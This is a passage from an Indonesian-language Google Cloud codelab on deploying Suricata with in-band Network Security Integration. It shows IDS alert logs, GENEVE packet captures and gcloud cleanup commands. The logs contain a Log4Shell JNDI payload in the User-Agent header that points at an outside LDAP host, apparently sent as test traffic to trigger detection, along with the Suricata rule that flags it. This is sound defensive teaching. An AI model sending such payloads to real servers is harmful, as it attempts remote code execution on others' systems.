{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit

Secara opsional, Anda dapat melakukan SSH ke VM Suricata di $zoneb (suricata-$zoneb) dan memvalidasi log

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

Lihat log yang difilter berdasarkan jenis serangan:

cat /var/log/suricata/eve.json | grep log4j

Contoh output:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

Selain itu, tangkapan paket akan menjadi cara yang baik untuk melihat dan memvalidasi traffic.

Perintah ini akan memfilter paket GENEVE. Contoh perintah:

sudo tcpdump -i any -nn udp port 6081

Sekarang kirim beberapa traffic pengujian dari VM konsumen. Contoh output:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

Perhatikan bahwa dengan tcpdump, Anda dapat melihat header GENEVE. IP Sumber adalah IP gateway subnet (10.0.0.1) dan IP Tujuan adalah IP aturan penerusan (10.0.0.11 atau 10.0.0.12). Paket yang dienkapsulasi berisi paket asli - IP klien consumer-$zonea (192.168.0.2) atau consumer-$zoneb (192.168.0.3) dan tujuan google.com. Hal ini mengonfirmasi bahwa paket sedang dicegat dan dikirim ke appliance pihak ketiga melalui Integrasi Keamanan Jaringan.

  1. Kembali ke Cloud Shell dengan keluar dari sesi SSH
exit

Selamat. Anda telah berhasil men-deploy dan menguji lingkungan dengan Network Security Integration (NSI) in-band.

5. Pembersihan

Konsumen

Hapus VM Konsumen:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

Menghapus Pengaitan dan Kebijakan Firewall:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

Menghapus Grup Profil Keamanan dan Profil Keamanan:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

Menghapus asosiasi endpoint dan mencegat grup endpoint:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Menghapus Cloud NAT, Cloud Router, dan IP yang Dicadangkan

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

Menghapus VPC dan Subnet

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Produser

Menghapus deployment pencegatan:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

Menghapus grup deployment pencegatan (deployment pencegatan harus selesai dihapus sebelum perintah ini berhasil):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

Menghapus aturan penerusan:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

Menghapus IP yang dicadangkan untuk aturan penerusan:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

Menghapus layanan backend:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

Hapus grup instance tidak terkelola:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

Menghapus health check:

gcloud compute health-checks delete nva-hc -q

Hapus VM Produser:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Hapus Cloud NAT, Cloud Router, dan IP yang Dicadangkan:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

Hapus Pengaitan Kebijakan FW:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

Hapus Kebijakan FW:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

Menghapus VPC dan Subnet

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. Selamat!

Selamat, Anda berhasil menyelesaikan codelab In-band Network Security Integration with Suricata.

Tonton video demo khusus vendor NSI in-band:

Palo Alto Networks

Fortinet

Lihat beberapa panduan deployment khusus vendor yang mungkin relevan dengan organisasi Anda:

Palo Alto Networks

Fortinet

Checkpoint